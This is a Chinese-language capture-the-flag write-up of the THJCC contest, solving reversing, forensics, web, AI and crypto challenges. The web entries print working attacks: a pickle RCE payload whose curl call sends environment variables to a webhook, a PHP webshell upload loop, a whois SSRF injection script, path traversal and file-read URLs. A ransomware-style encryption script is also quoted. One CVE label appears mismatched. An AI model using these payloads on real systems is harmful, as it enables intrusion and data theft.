THJCC-CTF Write UP

Welcome

Welcome to THJCC CTF

打開題目後發現,字會一直晃,所以直接打開devtools (按F12) 之後翻一翻找到Flag。
image

[color=#ffffff]Flag: THJCC{We1c0m3-tO-tHjcC-c7F_2O26}

Feedback Form !

填完表單就可以拿Flag。w

[color=#ffffff]Flag: THJCC{Thanks_\O/_L0vU}


Reverse

Super baby reverse

下載題目的檔案
打開IDA Pro 按F5 直接拿Flag。w
image

[color=#ffffff]Flag: THJCC{BaBY_r3v3rs3_f0r_beggin3r}

Fllllllag_ch3cker_again?

下載題目的檔案
打開IDA Pro 按F5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rbx
__int64 v4; // rax
char v6; // [rsp+Fh] [rbp-E1h] BYREF
unsigned __int64 i; // [rsp+10h] [rbp-E0h]
__int64 v8; // [rsp+18h] [rbp-D8h]
__int64 v9; // [rsp+20h] [rbp-D0h]
char *v10; // [rsp+28h] [rbp-C8h]
_BYTE v11[32]; // [rsp+30h] [rbp-C0h] BYREF
_BYTE v12[32]; // [rsp+50h] [rbp-A0h] BYREF
_BYTE v13[33]; // [rsp+70h] [rbp-80h] BYREF
_QWORD v14[2]; // [rsp+91h] [rbp-5Fh] BYREF
char v15; // [rsp+A1h] [rbp-4Fh]
__int16 v16; // [rsp+A2h] [rbp-4Eh]
int v17; // [rsp+A4h] [rbp-4Ch]
__int64 v18; // [rsp+A8h] [rbp-48h]
__int64 v19; // [rsp+B0h] [rbp-40h]
_WORD v20[5]; // [rsp+B8h] [rbp-38h]
__int64 v21; // [rsp+C2h] [rbp-2Eh]
unsigned __int64 v22; // [rsp+D8h] [rbp-18h]

v22 = __readfsqword(0x28u);
v15 = 32;
v16 = 12411;
v17 = 3295772;
v18 = 0x62600072F5E0127LL;
v19 = 0x72A2C022D40475BLL;
v20[0] = 23809;
*(_QWORD *)&v20[1] = 0x4355370429703438LL;
v21 = 0x2261582C00145F36LL;
v8 = 42;
strcpy((char *)v14, "Th1s_1s_th3_k3y");
v9 = 15;
std::vector<unsigned char>::vector(v11, argv);
std::vector<unsigned char>::reserve(v11, 42);
for ( i = 0; i <= 0x29; ++i )
{
v6 = *((_BYTE *)&v14[1] + i + 7) ^ *((_BYTE *)v14 + i % 0xF);
std::vector<unsigned char>::push_back(v11, &v6);
}
v10 = &v6;
v3 = std::vector<unsigned char>::size(v11);
v4 = std::vector<unsigned char>::data(v11);
std::string::basic_string(v12, v4, v3, &v6);
std::__new_allocator<char>::~__new_allocator(&v6);
std::operator<<<std::char_traits<char>>(&std::cout, "Please Enter the flag: ");
std::string::basic_string(v13);
std::operator>><char>(&std::cin, v13);
if ( (unsigned __int8)std::operator==<char>(v13, v12) )
std::operator<<<std::char_traits<char>>(&std::cout, "Yes\n");
else
std::operator<<<std::char_traits<char>>(&std::cout, "You are wrong\n");
std::string::~string(v13);
std::string::~string(v12);
std::vector<unsigned char>::~vector(v11);
return 0;
}

觀察逆出來的程式可以發現那是 簡單 XOR

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from struct import pack

key = b"Th1s_1s_th3_k3y"

mem = b""
mem += b"\x00"*16
mem += pack("<B", 32)
mem += pack("<H", 12411)
mem += pack("<I", 3295772)
mem += pack("<Q", 0x062600072F5E0127)
mem += pack("<Q", 0x72A2C022D40475B)
mem += pack("<H", 23809)
mem += pack("<Q", 0x4355370429703438)
mem += pack("<Q", 0x2261582C00145F36)

start = 15
encoded = mem[start:start+42]

flag = bytes(encoded[i] ^ key[i % len(key)] for i in range(42))

print("Flag:", flag.decode())

[color=#ffffff]Flag: THJCC{A_Simpl3_R3v3r3_using_CPP_d0ing_X0R}


Misc

IMAGE?

直覺把題目給的題目用binwalk解開
發現有一個zip,解開後 其中一個圖片是 flag

[color=#ffffff]Flag: THJCC{fRierEN-SO_cUTe:)}

Provisioning in Progress

剛開始不知道如何下手,都找不到auth_token
然後把題目全丟給 AI
他 直接噴給我以下三個答案,給到夯爆了。
image

[color=#ffffff]Flag: thjcc{only_announced_prefixes_are_real}

Metro

題目說那是捷運,我想說台灣捷運才幾站,所以直接 人工暴力搜尋法
然後
開翻google地圖。(而且有ubike站 所以還算好找
image alt
找到了是 山鼻站 (A10)
再來想說不會到上萬樓層XD,所以猜樓層

[color=#ffffff]Flag: THJCC{A10-3F}

哦更愛你了

一樣用binwalk 解出 zip檔案,但發現要密碼, 但AI 又又又又又又又又又又發力了 直接幫我猜出密碼是多少,再次夯爆了。(密碼是: 30000810

[color=#ffffff]Flag: THJCC{Y@JUNlKU}


Forensics

Ransomware

打開zip後沒想法,但無意間用string看Uto.jpg
圖片的最後面發現有一個腳本是專門把flag用AES加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
$InputFile  = Join-Path -Path (Get-Location) -ChildPath 'flag.txt'
$OutputFile = "$InputFile.lock"

if (-not (Test-Path -LiteralPath $InputFile -PathType Leaf)) {
throw "?曆??唳?獢?$InputFile"
}

$UnixTime = [DateTimeOffset]::UtcNow.ToUnixTimeSeconds()

# key = MD5( UnixTimeSeconds as UTF-8 string ) -> 16 bytes (AES-128)
$md5 = [System.Security.Cryptography.MD5]::Create()
try {
$keyMaterial = [Text.Encoding]::UTF8.GetBytes([string]$UnixTime)
$Key = $md5.ComputeHash($keyMaterial)
} finally {
$md5.Dispose()
}

# AES-CBC PKCS7
$AES = [System.Security.Cryptography.Aes]::Create()
$AES.Mode = [System.Security.Cryptography.CipherMode]::CBC
$AES.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$AES.Key = $Key
$AES.GenerateIV()

$in = [IO.File]::OpenRead($InputFile)
$out = [IO.File]::Create($OutputFile)

try {
$unixBytes = [BitConverter]::GetBytes([int64]$UnixTime)
$out.Write($unixBytes, 0, $unixBytes.Length)
$out.Write($AES.IV, 0, $AES.IV.Length)

$enc = $AES.CreateEncryptor()
$crypto = New-Object System.Security.Cryptography.CryptoStream(
$out, $enc, [System.Security.Cryptography.CryptoStreamMode]::Write
)
try {
$in.CopyTo($crypto)
} finally {
$crypto.FlushFinalBlock()
$crypto.Dispose()
}
}
finally {
$in.Dispose()
$out.Dispose()
$AES.Dispose()
[Array]::Clear($Key, 0, $Key.Length)
}

Remove-Item -LiteralPath $InputFile -Force

把這串code 和 被加密的 flag.txt.lock 丟給 AI
並且產生 decrypt code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Decrypt the uploaded flag.txt.lock file

import hashlib
from Crypto.Cipher import AES

# Read encrypted file
file_path = "/mnt/data/flag.txt.lock"
with open(file_path, "rb") as f:
data = f.read()

# Parse structure
unix_time = int.from_bytes(data[:8], "little")
iv = data[8:24]
ciphertext = data[24:]

# Derive key = MD5(str(unix_time))
key = hashlib.md5(str(unix_time).encode()).digest()

# AES-CBC decrypt
cipher = AES.new(key, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext)

# Remove PKCS7 padding
pad_len = plaintext[-1]
plaintext = plaintext[:-pad_len]

print("UnixTime:", unix_time)
print("Decrypted content:")
print(plaintext.decode(errors="replace"))

執行程式碼即可取得flag

[color=#ffffff]Flag: THJCC{L1nK_R4Ns0mWar3_😭😭😭😭}

I use arch btw

一樣把題目載下來後是一圖片
把圖片上傳到 aperisolve (此網站是一個自動分析圖片的線上工具)

1
2
3
4
5
6
7
Scan Time:     2026-02-28 07:14:07
Target File: /app/aperisolve/results/f1eca18c1a03e7f720a0a0275fd8c389/f1eca18c1a03e7f720a0a0275fd8c389.jpg
MD5 Checksum: f1eca18c1a03e7f720a0a0275fd8c389
Signatures: 436
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
76507 0x12ADB Zip archive data, at least v2.0 to extract, compressed size: 6284, uncompressed size: 9216, name: readme.xlsx

解出一個 readme.xlsx 但發現 需要密碼。
所以使用 “MS Office on-line Password Recovery service” 來解開檔案。
順利拿到flag。

[color=#ffffff]Flag: THJCC{7h15_15_7h3_m3554g3….._1_u53_4rch_b7w}

TV

一樣沒想法,所以把音檔丟給AI。他說直接在手機裡下載 Robot36 然後 電腦撥放,手機錄音。(AI說因為題目名稱是TV 而且附檔名是.flac 故推測是SSTV)
順利解出flag。

[color=#ffffff]Flag: THJCC{sSTv-is_aMaZINg}

ExBaby Shark Master

看到附檔名是pcapng。果斷用Wireshark打開。
又因為題敘說 Just Search。
故大膽在裡面搜尋字串 THJCC
順利拿到flag。
螢幕擷取畫面 2026-02-28 154116

[color=#ffffff]Flag: THJCC{1t’S-3Asy*-r1gh7?????}


Web

Las Vegas

先打開burp和 devtools玩玩看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
btn.onclick = function() {
btn.disabled = true;
let digits = [0,0,0];
let count = 0;

interval = setInterval(() => {
for (let i = 0; i < 3; i++) {
digits[i] = getRandomDigit();
}
slot.textContent = digits.join(' ');
count++;

if(count > 20){
clearInterval(interval);
const n = digits.join('');
fetch("/?n=" + n, {method: "POST"})
.then(resp => resp.text())
.then(txt => {
message.innerHTML = txt;
btn.disabled = false;
});
}
}, 100);
};

發現可以用 “ /?n={三個數字} “ 來發送指令
再加上 題目提到的 Lucky 7 7 7
所以果斷把三個數字填上 777
另外還要注意把 GET 改為 POST 才會拿到flag

[color=#ffffff]Flag: THJCC{LUcKy_sEVen_7777777}

Ear👂

題目有說是 CWE-698 所以戳戳看 admin.php (用burp的 http repeater)
至於為啥先戳admin.php,是直覺。
送出的:

1
2
3
4
5
6
7
8
9
10
GET /admin.php HTTP/1.1
Host: chal.thjcc.org:1234
Cache-Control: max-age=0
Accept-Language: zh-TW,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=28f94d3654fb9cdca29af78393789884
Connection: keep-alive

收到的:

1
2
3
4
5
6
7
8
9
10
<!doctype html>
<html>
<head><meta charset="utf-8"><title>Admin Panel</title></head>
<body>
<p>Admin Panel</p>
<p><a href="status.php">Status page</a></p>
<p><a href="image.php">Image</a></p>
<p><a href="system.php">Setting</a></p>
</body>
</html>

三個都戳戳看,最後發現戳到 system 時噴flag

[color=#ffffff]Flag: THJCC{U_kNoW-HOw-t0_uSe-EaR}

My First React

打開題目後 看到login介面 又看到標題是 Vite + React + TS
所以問AI 怎麼解 因為沒遇過這類題目,然後 AI 給我了下面這段POC
(另外我還有把 題目的 “/assets/index-rraHEEuN.js”丟給AI)

他說把以下這段 POC 輸入Console 然後到 Network 看就可以拿到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
async function solve(){

let res = await fetch("/api/login",{
method:"POST",
headers:{
"Content-Type":"application/json"
},
body:JSON.stringify({
username:"guest",
password:"guest"
})
})

let data = await res.json()

if(data.success){
console.log("FLAG =", data.result.flag)
}else{
console.log("Login failed")
}
}

solve()

AI 跟我解釋說 這題能過是因為後端把 登入驗證與 flag 回傳直接暴露在前端 API,讓你可以直接呼叫 /api/login 用 guest 登入並從回傳結果取得 flag

[color=#ffffff]Flag: THJCC{CSR_c4n_b3_d4ng3rrr0us!}

A long time ago…

哦哦哦有source code了
找了一下感覺關鍵在 indexController.php 上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
session_start();

$flag = "THJCC{FAKE_FLAG}";

if(!isset($_SESSION['username'])){
header('location: /login.php');
}

$is_admin = false;
if (isset($_SESSION['perms'])) {
foreach ($_SESSION['perms'] as $key => $value) {
if ($key == 'admin') {
$is_admin = true;
break;
}
}
}

$username_display = htmlspecialchars($_SESSION['username']);

在第13行中,使用的是寬鬆比對(在PHP7中)
故可以使 $key = 0 使 13 行的結果為真 就可以拿到 flag
故POC 如下

1
2
3
4
5
curl -X POST http://chal.thjcc.org:25601/login.php \
-d "username=0" \
-c cookies.txt \
-b cookies.txt \
-L

再找一找就可以找到 flag 了。

[color=#ffffff]Flag: THJCC{Meow_M3ow_Me0w}

Secret File Viewer

點開網站,看到可以下載三個檔案 file_A file_B file_C
從file_B 可以得知 題目是用 前端 js 來做防護 。
有防約等於沒防,又看到 “download.php?file= “
這個是我下載上面那三個檔案的 url 共同的特性,故果斷新增一分頁 貼上如下url後 即可獲取 flag。

1
http://chal.thjcc.org:30000/download.php?file=/flag.txt

[color=#ffffff]Flag: THJCC{h0w_dID_y0u_br34k_q’5_pr073c710n???}

No Way Out

看完題目之後,請AI幫我寫兩個 POC 一個是 不斷建php 的 ,另一個是 不斷訪問 php的
POC 如下:

建立php

1
2
3
4
while true; do
curl -s -X POST 'http://chal.thjcc.org:8080/index.php?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=shell.php' \
--data 'content=?<hp pystsme$(G_TE1[)] ;>?' > /dev/null
done

訪問php(這個要多執行幾次才會有)

1
2
curl 'http://chal.thjcc.org:8080/shell.php?1=strings%20/flag.txt' 
?<hp pxeti)( ;>?

[color=#ffffff]Flag: THJCC{h4ppy_n3w_y34r_4nd_c0ngr47_u_byp4SS_th7_EXIT_n1ah4wg1n9198w4tqr8926g1n94e92gw65j1n89h21w921g9}

who is whois

把題目給我的source code 丟給 claude.ai

他直接給我下面的東西,在次給到夯爆了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import pyotp
import base64
import time

# --- 1. 設定目標與金鑰 ---
# 請把這裡換成你瀏覽器網址列看到的那個網址
TARGET_URL = "http://chal.thjcc.org:13316/whois"

_ENC_SECRET = "Jl5cLlcsI10sKCYhLS40IykpMyQnIF8wIjEtPTM6OzI="
_XOR_KEY = "thjcc"

# --- 2. 解密 Secret 並計算 TOTP ---
raw = base64.b64decode(_ENC_SECRET)
secret = "".join(chr(b ^ ord(_XOR_KEY[i % len(_XOR_KEY)])) for i, b in enumerate(raw))
totp = pyotp.TOTP(secret)
current_code = totp.now()

print(f"[*] 使用 Secret: {secret}")
print(f"[*] 目前 TOTP: {current_code}")

# --- 3. 構造 SSRF Payload ---
# 我們利用 whois 的引數注入,連向 127.0.0.1:13316 的 /flag
# 注意:Content-Length 必須精確,safekey=xxxxxx 長度通常為 14
data_body = f"safekey={current_code}"
content_length = len(data_body)

# 這裡使用 \r\n 來模擬標準 HTTP 換行
payload = (
f'-h 127.0.0.1 -p 13316 "POST /flag HTTP/1.1\r\n'
f'Host: 127.0.0.1\r\n'
f'admin: thjcc\r\n'
f'Content-Type: application/x-www-form-urlencoded\r\n'
f'Content-Length: {content_length}\r\n'
f'\r\n'
f'{data_body}"'
)

print(f"[*] 發送 Payload...")

# --- 4. 執行攻擊 ---
try:
r = requests.post(TARGET_URL, data={"domain": payload}, timeout=20)

# 從回傳的 HTML 中找尋結果 (通常在 <pre> 標籤內)
if "THJCC{" in r.text:
print("[+] 成功取得 Flag!")
# 簡單過濾一下結果
start = r.text.find("THJCC{")
end = r.text.find("}", start) + 1
print(f"\nFlag: {r.text[start:end]}\n")
else:
print("[-] 未發現 Flag,請檢查輸出結果:")
print(r.text)

except Exception as e:
print(f"[!] 發生錯誤: {e}")

拿到flag。

[color=#ffffff]Flag: THJCC{yeyoumeng_Wh0i5_SsRf}

0422

直接在登入頁面隨便輸入張號密碼。打開DevTools 把 應用程式的 cookie 中的role改成 admin 再 重新整理網站 即可拿到 flag。

[color=#ffffff]Flag: THJCC{c00k135_4r3_n07_53cur3_1f_n07_51gn3d_4nd_p13453_d0_7h3_53cur3_c0d1ng_r3v13w_101111}

msgboard

(用token打開題目之後)
一樣是丟AI(把完整的source code餵給AI)
AI產生以下惡意POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
python3 << 'EOF'
import re, requests, pickle, os

BASE = "http://chal.thjcc.org:[port]"
WEBHOOK = " [你的webhook.site網址]"
s = requests.Session()

r = s.get(f"{BASE}/login")
csrf = re.search(r'name="csrf_token"[^>]*value="([^"]+)"', r.text, re.DOTALL).group(1)
s.post(f"{BASE}/login", data={"csrf_token": csrf, "uname": "attacker99", "upass": "password123"})
r = s.get(f"{BASE}/message_board")
csrf = re.search(r'name="csrf_token"[^>]*value="([^"]+)"', r.text, re.DOTALL).group(1)

# 惡意 pickle:讀取所有環境變數送到 webhook
class Exploit(object):
def __reduce__(self):
cmd = f"curl '{WEBHOOK}?x='\"$(env | base64 | tr -d '\\n')\"''"
return (os.system, (cmd,))

payload = pickle.dumps(Exploit())
print("Payload size:", len(payload))

# 上傳覆蓋 spam_classifier.joblib
boundary = "----FormBoundary7MA4YWxkTrZu0gW"
body = (
f'--{boundary}\r\n'
f'Content-Disposition: form-data; name="file"; filename="/python-docker/spam_classifier.joblib"\r\n'
f'Content-Type: image/jpeg\r\n'
f'\r\n'
).encode() + payload + (
f'\r\n--{boundary}--\r\n'
).encode()

r2 = s.post(f"{BASE}/api/v1/upload_image",
data=body,
headers={"X-CSRFToken": csrf, "Content-Type": f"multipart/form-data; boundary={boundary}"})
print("上傳 spam_classifier.joblib:", r2.status_code, r2.text[:80])

# 觸發 check_for_spam:發一篇留言(任何內容都會呼叫 check_for_spam)
r = s.get(f"{BASE}/message_board")
csrf = re.search(r'name="csrf_token"[^>]*value="([^"]+)"', r.text, re.DOTALL).group(1)
r3 = s.post(f"{BASE}/message_board",
data={"csrf_token": csrf, "content": "trigger RCE"},
allow_redirects=False)
print("觸發結果:", r3.status_code, r3.text[:100])

# 也用 post_anonymous 觸發(不需要登入,spam check 在 escape 前)
r4 = s.get(f"{BASE}/post_anonymous")
csrf2 = re.search(r'name="csrf_token"[^>]*value="([^"]+)"', r4.text, re.DOTALL).group(1)
r5 = s.post(f"{BASE}/post_anonymous",
data={"csrf_token": csrf2, "content": "trigger RCE anon"},
allow_redirects=False)
print("匿名觸發結果:", r5.status_code, r5.text[:100])

print("\n現在去 webhook.site 看有沒有收到環境變數!")
EOF

再來去webhook.site看會得到 一串用base64編碼後的東西,解碼後如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
UV_TOOL_BIN_DIR=/usr/local/bin
DATABASE_URL=mongodb://user:password@mongo:27017/message?authSource=admin
GOOGLE_SAFE_BROWSING_API_KEY=your_google_safe_browsing_api_key
MAIL_USERNAME=your_email@example.com
HOSTNAME=d7d4e6a51b11
HOME=/home/appuser
PYTHONUNBUFFERED=1
UV=/usr/local/bin/uv
LC_CTYPE=C.UTF-8
UPLOAD_FOLDER=/static/upload
UV_RUN_RECURSION_DEPTH=1
SERVER_SOFTWARE=gunicorn/23.0.0
PATH=/python-docker/.venv/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MAIL_SERVER=your_mail_server
KMP_INIT_AT_FORK=FALSE
KMP_DUPLICATE_LIB_OK=True
email_key=your_email_password
MAIL_DEFAULT_SENDER=your_email@example.com
VIRTUAL_ENV=/python-docker/.venv
PWD=/python-docker
IMAGE_PROXY_URL=http://localhost:[port]
app_secret_key=jrngkzjrbgjrbgjzhg
TZ=Asia/Taipei
FLAG=THJCC{model2rce456ytrrghdrydhrth}

完整攻擊鏈總結(經過詢問AI後得出):

[漏洞一] 驗證碼明文回傳
↓ 取得驗證碼,自行註冊帳號
[漏洞二+三] 副檔名檢查失效 + secure_filename 被忽略
↓ 可上傳任意內容、任意副檔名的檔案
[漏洞四] os.path.join 絕對路徑覆蓋
↓ 將惡意 pickle 寫入 /python-docker/spam_classifier.joblib
[漏洞五] joblib/pickle 反序列化 RCE
↓ 任何人發留言 → check_for_spam() → 執行任意命令
[結果] 讀取 FLAG 環境變數,外傳到 webhook

[color=#ffffff]Flag: THJCC{model2rce456ytrrghdrydhrth}

noaiiiiiiiiiiiiiii

這題先查看robots.txt 後發現有 /static/.backup 目錄,故前往此目錄後發現竟然可以直接看到伺服器的 檔案內容。
點擊檔案後,可以下載。

又從 Dockerfile.bak(下方程式碼) 得知伺服器有使用Node.js 8.5.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
FROM node:8.5.0

WORKDIR /usr/src/app

COPY package.json ./
RUN npm install

COPY . .
![Uploading file..._xw3gxq8tm]()

RUN mkdir -p static


RUN echo "THJCC{FAKE_FLAG}" > /flag_F7aQ9L2mX8RkC4ZP

RUN echo "User-agent: *\nDisallow: /static/.backup" > /usr/src/app/robots.txt

EXPOSE 3000

CMD [ "node", "app.js" ]

故可以用 CVE-2017-14849 來達到 路徑穿越來取得flag
使用burp的http Repeater 把請求路徑改為 /static/../../../1/../../../../flag_F7aQ9L2mX8RkC4ZP
螢幕擷取畫面 2026-03-01 183437

[color=#ffffff]Flag: THJCC{y0u_mu57_b3_4_r34l_hum4n_b3c4u53_0nly_4_hum4n_c4n_r34d_4nd_und3r574nd_7h15_fl46_c0rr3c7ly}

r2s

(用API_token打開題目之後)
開始進行通靈大賽
看到題目敘述中有提及
“Should I upgrade my web server?” 和 “nvm”
非常容易看出 網站是有 Next.js的 再加上這題是要開 API_token 的所以大膽猜測得用Next.js 的 漏洞來達成 RCE。
又由題目r2s可以得出 “React2Shell” 更加確定了 需使用 CVE-2025-29927 來達成 RCE。
再從github上找到 名為NextRce的漏洞利用腳本。https://github.com/ynsmroztas/NextRce?tab=readme-ov-file

1
python3 NextRCSWaff.py -u http://chal.thjcc.org:10470/ -c "ls -al" --bypass

看到flag.txt
把POC 改成

1
python3 NextRCSWaff.py -u http://chal.thjcc.org:10470/ -c "cat flag.txt" --bypass

[color=#ffffff]Flag: THJCC{r34ct_ssr_rc3_1s_d4ng3r0us}


Pwn

螢幕擷取畫面 2026-03-01 193645


AI

Deep Inverse

為了解決這個問題,需要反轉 model.pt 中的神經網路模型
找到一個 10 維輸入向量 x ,使得模型的輸出 f(x) 約為 1337.0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import torch

# 1. 載入模型
try:
model = torch.load('model.pt', map_location='cpu', weights_only=False)
except:
model = torch.jit.load('model.pt', map_location='cpu')
model.eval()

target = torch.tensor([[1337.0]])

print("正在尋找最佳解...")

# 2. 多重隨機起點 + 不同的初始化規模
for attempt in range(20):
# 嘗試不同的初始化分佈(有時候需要大一點的初始值,有時候需要小的)
scale = [0.1, 1, 10, 100][attempt % 4]
x = (torch.randn(1, 10) * scale).detach().requires_grad_(True)

optimizer = torch.optim.LBFGS([x], lr=0.1, max_iter=20) # LBFGS 對於精確對齊通常比 Adam 快

def closure():
optimizer.zero_grad()
output = model(x)
loss = torch.nn.functional.mse_loss(output, target)
loss.backward()
return loss

for i in range(100):
optimizer.step(closure)

current_output = model(x).item()
if abs(current_output - 1337.0) < 0.01:
print(f"成功!在第 {attempt+1} 次嘗試找到解。")
final_x = x.detach().numpy().flatten()
print("\n=== 請複製這串數字貼回 nc ===")
print(",".join(map(str, final_x)))
break
else:
if attempt % 5 == 0:
print(f"嘗試 {attempt+1}... 目前最接近輸出: {current_output:.4f}")

=== 請複製這串數字貼回 nc ===
-4953.166,3100.049,8214.963,-7810.7197,5721.9736,-16336.751,-20002.873,22925.947,3064.4937,17204.707

貼回去題目後取得flag。

[color=#ffffff]Flag: THJCC{Stoc4st1c_W3ight_D3sc3nt_M4st3r_xedrftginjk54896ghjbijkml52563201}

NEURAL_OVERRIDE

螢幕擷取畫面 2026-03-01 202531
這題我也不知道發生什麼事
丟了一個他提供的.pt檔就過了
所以我覺得這題因該是在我寫的時候壞掉了

[color=#ffffff]Flag: THJCC{y0ur_ar3_the_adv3rs3r1al_attack_m0st3r}


Crypto

676767

這題簡單來說就是要把PY的偽隨機 處理掉
(POC的部分是AI寫的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *

# 題目設定的 base 值
base = 86844066927987146567678238756515930889952488499230423029593188005934867676767

context.log_level = 'error'

def solve():
attempts = 0
print("[*] 開始暴力刷首抽尋找幸運數列")

while True:
attempts += 1
try:
# 連線到題目伺服器
r = remote('chal.thjcc.org', 48764)

vals = []
# 讀取並解析前 10 個數字
for _ in range(10):
line = r.recvline().decode().strip()
val = int(line.replace('< ', ''))
vals.append(val)

# 檢查這 10 個數字是否「全部」都小於 base
if all(v < base for v in vals):
print(f"[+] 在第 {attempts} 次連線時找到幸運數列")

r.sendlineafter(b"a>", b"-1")
r.sendlineafter(b"b>", b"0")

for v in vals:
r.sendlineafter(b"> ", str(v).encode())

# 接收最後的 Flag
print("[+] 成功!伺服器回應:")
print(r.recvall().decode())
break
else:
r.close()


except EOFError:

r.close()

if __name__ == '__main__':
solve()

[color=#ffffff]Flag: THJCC{676767676767676767676767_i_dont_like_those_brainnot_memes_XD}


THJCC-CTF Write UP
http://example.com/2026/03/01/THJCC-CTF Write UP/
Author
Jason
Posted on
March 1, 2026
Licensed under